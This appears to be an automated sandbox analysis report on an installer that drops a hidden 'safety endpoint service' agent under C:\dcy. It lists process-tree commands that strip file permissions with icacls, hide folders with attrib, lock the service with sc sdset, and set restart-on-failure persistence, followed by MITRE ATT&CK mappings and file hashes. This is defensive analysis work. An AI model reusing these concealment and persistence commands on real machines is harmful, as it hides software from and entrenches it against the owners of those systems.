        icacls "C:\dcy\Client\zh-Hant\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:948
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5512
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1752
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3312
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4624
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:6120
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5224
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5496
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:220
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4316
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2424
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1716
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1884
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4604
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:516
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\zh-Hant\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2592
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c attrib +h +s "C:\dcy" >nul 2>nul
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:5960
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy"
        6⤵
        
        PID:5976
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c for /d /r "C:\dcy" %G in (*) do attrib +h +s "%G" >nul 2>nul
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:1840
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client"
        6⤵
        Views/modifies file attributes
        
        PID:4424
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\af-ZA"
        6⤵
        
        PID:2888
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\agent-cache"
        6⤵
        
        PID:3800
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\am-ET"
        6⤵
        
        PID:2928
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ar-SA"
        6⤵
        Views/modifies file attributes
        
        PID:4796
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\az-Latn-AZ"
        6⤵
        Views/modifies file attributes
        
        PID:4212
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\be-BY"
        6⤵
        Views/modifies file attributes
        
        PID:1616
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\bg-BG"
        6⤵
        Views/modifies file attributes
        
        PID:2644
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\bn-BD"
        6⤵
        
        PID:5164
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\bs-Latn-BA"
        6⤵
        Views/modifies file attributes
        
        PID:3696
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ca-ES"
        6⤵
        Views/modifies file attributes
        
        PID:4764
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\cs"
        6⤵
        Views/modifies file attributes
        
        PID:3160
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\cs-CZ"
        6⤵
        Views/modifies file attributes
        
        PID:3084
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\da-DK"
        6⤵
        
        PID:2396
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\de"
        6⤵
        Views/modifies file attributes
        
        PID:4404
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\de-DE"
        6⤵
        Views/modifies file attributes
        
        PID:5664
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\el-GR"
        6⤵
        Views/modifies file attributes
        
        PID:680
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\en-GB"
        6⤵
        Views/modifies file attributes
        
        PID:4932
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\es"
        6⤵
        Views/modifies file attributes
        
        PID:3016
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\es-ES"
        6⤵
        Views/modifies file attributes
        
        PID:5528
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\es-MX"
        6⤵
        Views/modifies file attributes
        
        PID:3504
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\et-EE"
        6⤵
        Views/modifies file attributes
        
        PID:2220
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\eu-ES"
        6⤵
        Views/modifies file attributes
        
        PID:3528
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\fa-IR"
        6⤵
        Views/modifies file attributes
        
        PID:2604
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\fi-FI"
        6⤵
        Views/modifies file attributes
        
        PID:5140
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\fr"
        6⤵
        Views/modifies file attributes
        
        PID:1620
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\fr-CA"
        6⤵
        
        PID:1316
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\fr-FR"
        6⤵
        
        PID:2068
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\gl-ES"
        6⤵
        
        PID:3168
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\he-IL"
        6⤵
        Views/modifies file attributes
        
        PID:3516
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\hi-IN"
        6⤵
        Views/modifies file attributes
        
        PID:5100
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\hr-HR"
        6⤵
        Views/modifies file attributes
        
        PID:5136
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\hu-HU"
        6⤵
        Views/modifies file attributes
        
        PID:4060
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\id-ID"
        6⤵
        Views/modifies file attributes
        
        PID:4504
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\is-IS"
        6⤵
        Views/modifies file attributes
        
        PID:4508
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\it"
        6⤵
        Views/modifies file attributes
        
        PID:5616
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\it-IT"
        6⤵
        Views/modifies file attributes
        
        PID:3308
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ja"
        6⤵
        Views/modifies file attributes
        
        PID:5508
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ja-JP"
        6⤵
        Views/modifies file attributes
        
        PID:2596
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ka-GE"
        6⤵
        Views/modifies file attributes
        
        PID:2304
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\kk-KZ"
        6⤵
        Views/modifies file attributes
        
        PID:2932
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\km-KH"
        6⤵
        Views/modifies file attributes
        
        PID:3660
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\kn-IN"
        6⤵
        
        PID:2404
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ko"
        6⤵
        Views/modifies file attributes
        
        PID:3100
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ko-KR"
        6⤵
        Views/modifies file attributes
        
        PID:3476
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\lo-LA"
        6⤵
        Views/modifies file attributes
        
        PID:4304
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\lt-LT"
        6⤵
        Views/modifies file attributes
        
        PID:400
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\lv-LV"
        6⤵
        Views/modifies file attributes
        
        PID:1636
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\mk-MK"
        6⤵
        
        PID:2816
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ml-IN"
        6⤵
        Views/modifies file attributes
        
        PID:4268
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ms-MY"
        6⤵
        Views/modifies file attributes
        
        PID:1588
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\nb-NO"
        6⤵
        Views/modifies file attributes
        
        PID:4480
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\nl-NL"
        6⤵
        Views/modifies file attributes
        
        PID:1532
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\nn-NO"
        6⤵
        Views/modifies file attributes
        
        PID:4228
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\pl"
        6⤵
        Views/modifies file attributes
        
        PID:5924
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\pl-PL"
        6⤵
        Views/modifies file attributes
        
        PID:4164
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\pt-BR"
        6⤵
        Views/modifies file attributes
        
        PID:3348
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\pt-PT"
        6⤵
        Views/modifies file attributes
        
        PID:5488
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ro-RO"
        6⤵
        
        PID:208
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ru"
        6⤵
        Views/modifies file attributes
        
        PID:1472
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\ru-RU"
        6⤵
        Views/modifies file attributes
        
        PID:380
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\sk-SK"
        6⤵
        Views/modifies file attributes
        
        PID:2652
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\sl-SI"
        6⤵
        Views/modifies file attributes
        
        PID:1296
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\sq-AL"
        6⤵
        
        PID:2600
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\sr-Latn-RS"
        6⤵
        Views/modifies file attributes
        
        PID:2392
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\dcy\Client\sv-SE"
        6⤵
        Views/modifies file attributes
        
        PID:1892

C:\dcy\Client\safety.exe
"C:\dcy\Client\safety.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5284
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  PID:5760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  PID:4428
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:472
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" description safety "safety endpoint service"
  2⤵
  PID:5084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure safety reset= 86400 actions= restart/5000/restart/5000/restart/10000
  2⤵
  PID:1748
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failureflag safety 1
  2⤵
  PID:4512
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:216
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:1600
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:3800

C:\dcy\Client\safety.exe
"C:\dcy\Client\safety.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2112
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  PID:4720
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  PID:5904
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:5848
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" description safety "safety endpoint service"
  2⤵
  - Launches sc.exe
  PID:3876
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure safety reset= 86400 actions= restart/5000/restart/5000/restart/10000
  2⤵
  - Launches sc.exe
  PID:5712
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failureflag safety 1
  2⤵
  PID:3796
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:5640
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:4208
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:5636

C:\dcy\Client\safety.exe
"C:\dcy\Client\safety.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4092
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  - Launches sc.exe
  PID:4928
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  - Launches sc.exe
  PID:4320
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:5100
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" description safety "safety endpoint service"
  2⤵
  PID:3516
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure safety reset= 86400 actions= restart/5000/restart/5000/restart/10000
  2⤵
  PID:3104
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failureflag safety 1
  2⤵
  PID:1096
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  - Launches sc.exe
  PID:3168
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:5320
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:3804

C:\dcy\Client\safety.exe
"C:\dcy\Client\safety.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6124
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  PID:6020
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" query safety
  2⤵
  PID:2772
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:744
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" description safety "safety endpoint service"
  2⤵
  PID:3344
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure safety reset= 86400 actions= restart/5000/restart/5000/restart/10000
  2⤵
  PID:5644
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failureflag safety 1
  2⤵
  - Launches sc.exe
  PID:4980
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:2324
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:1216
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" sdset safety D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWRPLOCRRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)
  2⤵
  PID:1228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Persistence

T1070.009

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

deploy.log

Path C:\Users\Admin\AppData\Local\Microsoft\WU\runs\20261027-222227-1564-1-20cf8973\deploy.log
Size 1KB
SHA256 177473058943b29286f317cc08e675ddeaf7145b470517a1782a205ffe00fb5a
MD5 0ad50aee8bd1ab990232af7cd5408bad
SHA1 11b4ceac738606e2da350acf688511804784ada3
SHA512 f4b24e55e23bd6869995b7a108828d7aa96c7ab4b26a8a5c288c2fbc48ca3bdde621d9cd01236a4a78d22c48d842d97c39485e56ce4febad17af25e8c27bb41f
TLSH
T18121FC3BA056E13B5F989145D3982A34CE495B13D13CB3787EA4066C2B41E3D981A4D9
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path C:\Users\Admin\AppData\Local\Microsoft\WU\runs\20261027-222227-1564-1-20cf8973\deploy.log
Size 1KB
SHA256 4d9d839a57234bfb7875fa7c09b844dc4d9483342bef4133bdc9c9e9971cc2ca
MD5 23d84210ed4d615fc7fea143ae953987
SHA1 b3d1776abc275d361cfac96f5db5adb0eed03ba6
SHA512 4f296f42fe06d0b8cb1f64c97441a7ce7cd1fdc62737698aa251ff2f97757f081f631c571d589cd4d87899db5c0e77d4c450a20ba0a1c6373b2bfc9a0c3dad8a
TLSH
T12A41092AA056E53B5F98A146D3982B34CE8A5B13C13CF77C7EF4062C2B41E399C0A5CD
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path C:\Users\Admin\AppData\Local\Microsoft\WU\runs\20261027-222227-1564-1-20cf8973\deploy.log
Size 2KB
SHA256 47b294852f70ece3d05336a47f5080766a9af0274d8433a8bb841bb7e3520beb
MD5 f27dec9bd2c1a9b85128ed1dadb46dac
SHA1 802159c5e89be34a3b7c2fb1bc9bb81be41e7f1a
SHA512 f31b7cac9fcdbcf0086226c73be4a902c34ebdc64149672b62ededbfb5030c1a953fedc31c09dd27641194d304e80f04a35342f3715bf9703c79c91503785a81
TLSH
T19551EA2AE056F52B5F986205D3982B74CE4A5B13C17CF3B87EE4066C3B45E398D095CD
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path C:\Users\Admin\AppData\Local\Microsoft\WU\runs\20261027-222227-1564-1-20cf8973\deploy.log
Size 538B
SHA256 993229ddf85959e58e8d8950f57928bd1b62cbb27c9e4045a7c4ceb76424907a
MD5 f00c2af08a8645acf3f4d8a71996c0f6
SHA1 57409acfeaf0009af695b207bb21867053787cf4
SHA512 5e3daf6ac1d40e45473fb4c481e455883e8c53148ddc74bf28f23323cc566266c6b5443b288ef8f510afca40f72ac19ba534370156cea55a7805ce387383fd48
TLSH
T169F0F62BF022B42B5F985541C3882A34CF4D5B03D138B2B8BF94125C2B81E3A88254C9
MD5 SHA1 SHA512 TLSH

Submit Download

Client_srv_134.122.189.138.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-1Q6NU.tmp\Client_srv_134.122.189.138.tmp
Size 2.9MB
SHA256 a183b4ad871af863403e6a1dc80e532cedcda456eddb76cebfd0a047d644accf
MD5 ac4bd151f0dccbcc19f99f5da48b2ad5
SHA1 c3406443dc41f643b3127aae15cbf75e360d5f3c
SHA512 5571a58a2e620f05a37207a61ed4dee21256e6f3b72cc21c357a24ab0e593386ebf3d41f86396c557083c15c8840e90e6ab8323aabd0ee4f82a7173554b6a26f
SSDEEP 49152:YdJY/M+9JtzZjnoS2VC23aun8+f5KuGdaY9IGZiZIDJxF333Av:KJY/M+LtUt3P/KuGdaNGZiaPF333G
TLSH
T172E56C1BF389613ED05B1A352927C1515937BE70762A8C579BEC3E0C8F361886E3B74A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DongchaYan.Agent.Core.dll

Path C:\dcy\Client\DongchaYan.Agent.Core.dll
Size 334KB
SHA256 2e641794db3c96d76185dcb5cd5b3d15b56527901e50e6b2dde9df6b19e9303f
MD5 327c10d78fc77daf27ce569af444bac7
SHA1 d8c829c76237d92c65680b0592d97ebe89eca56e
SHA512 80d24af58197f4eb2b300aa46323ded52766a7bd6a42eb9abbc218e650e9745c2b273d8f46b22b9e9cc62911240f40bc599129ac0699d45b84903fbc44d92c8a
SSDEEP 6144:DxS6iRF7z2xCSa+SnqIZCzpnj/3by/dULFyXbIKfeetS59E:dSr/d3qLpjZLYX8eo
TLSH
T1AE742B1177E84617E6AF577CE43A8438C77AF446616AD7AF4D8866E92E62340C8033F3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Data.Sqlite.dll

Path C:\dcy\Client\Microsoft.Data.Sqlite.dll
Size 170KB
SHA256 a1d8eda7ddb56f0b52216e02e583e0df5152e91d77934dad4832ccbdf4a113f2
MD5 ea13456703eb73e89ecaf57026daeca2
SHA1 dbe2744f846bb9409a1643a81e4cd5bfa922e508
SHA512 ffbf04146db140af115a6d079891e04eaa3deadb7fefd16f282ba9f97ac1e6e98e1a707b2adef3228ea5a09da58b8b6570e67802368d425f0f791ca411533bc7
SSDEEP 3072:pMvo1U7Xcbzg19SvyGuRtOcaR1Xiaj+GOtfUfxGBqilr7DmILdNw6gIxzC0yO:Uom7ss9Sa7jOcaSaeVWxN6fzCY
TLSH
T1AA04497817982103C7FFCE36B1BC6D890338595AE191A74BEC40B5ED2D637597E802AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Extensions.Configuration.Abstractions.dll

